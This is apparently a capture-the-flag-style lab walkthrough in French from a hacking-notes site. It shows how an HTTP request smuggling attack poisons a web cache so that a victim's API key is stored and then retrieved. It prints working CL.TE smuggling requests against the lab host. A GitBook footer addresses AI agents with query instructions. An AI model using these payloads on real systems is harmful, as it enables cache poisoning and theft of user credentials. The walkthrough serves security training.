> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Duperie de cache Web via HTTP request smuggling

### Exploiter la contrebande de requêtes HTTP pour réaliser une tromperie sur le cache Web

Ce labo comporte un serveur frontal et un serveur d'arrière-plan. Le serveur frontal ne prend pas en charge l'encodage chunked et met en cache certaines ressources statiques.

L'objectif est de mener une attaque de request smuggling afin que la prochaine requête envoyée par une victime entraîne l'enregistrement de sa clé API dans le cache. Vous devrez ensuite récupérer cette clé API dans le cache et la soumettre pour valider le labo. / Il est nécessaire d'attendre **30 secondes** après avoir accédé au labo avant d'essayer de piéger la victime.

Vous pouvez vous connecter à votre propre compte avec : **wiener:peter**

#### **Notes**

* Même si le labo prend en charge HTTP/2, la solution repose sur des techniques qui ne peuvent être réalisées qu'en HTTP/1. Il est possible de changer le protocole dans Burp Repeater depuis la section Attributs de la requête de l'Inspecteur.
* Le labo simule l'activité d'un utilisateur victime. Pour chacune des quelques requêtes POST envoyées par l'attaquant, la victime effectuera les siennes. Il est parfois nécessaire de répéter l'attaque pour synchroniser correctement la séquence.

#### **Analyse comportementale**

Dans le panneau Mon compte, vous disposez de votre propre clé API.

<figure><img src="/files/8185e4c84bcc57818f3651e81685dd1e5a42edb0" alt=""><figcaption></figcaption></figure>

On observe que le `tracking.js` fichier est mis en cache pour **30 secondes**.

<figure><img src="/files/e900e085367d3e2e3dff60ce163d2fde1fd597f2" alt=""><figcaption></figcaption></figure>

#### **Test initial**

En envoyant la requête incorrecte suivante :

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Test: A
```

Nous obtenons une réponse **404**, ce qui confirme un comportement exploitable.

<figure><img src="/files/f9ba773cc80c430b204988a80cf6caf674dc2c17" alt=""><figcaption></figcaption></figure>

#### **Contrebande ciblée sur /my-account**

Une requête dissimulée pour `/my-account` est ensuite préparée :

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Test: A
```

Lorsque la victime envoie sa propre requête après notre injection, la réponse contenant \*\*sa clé API\*\* est stockée dans le cache au lieu de `tracking.js` .

#### **Résultat**

Lorsque vous chargez la ressource mise en cache, la clé API de l'administrateur apparaîtra :

```
Votre clé API est : WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="/files/38f2b3f5468f693d4c1f05c12f2c48442ea8adad" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
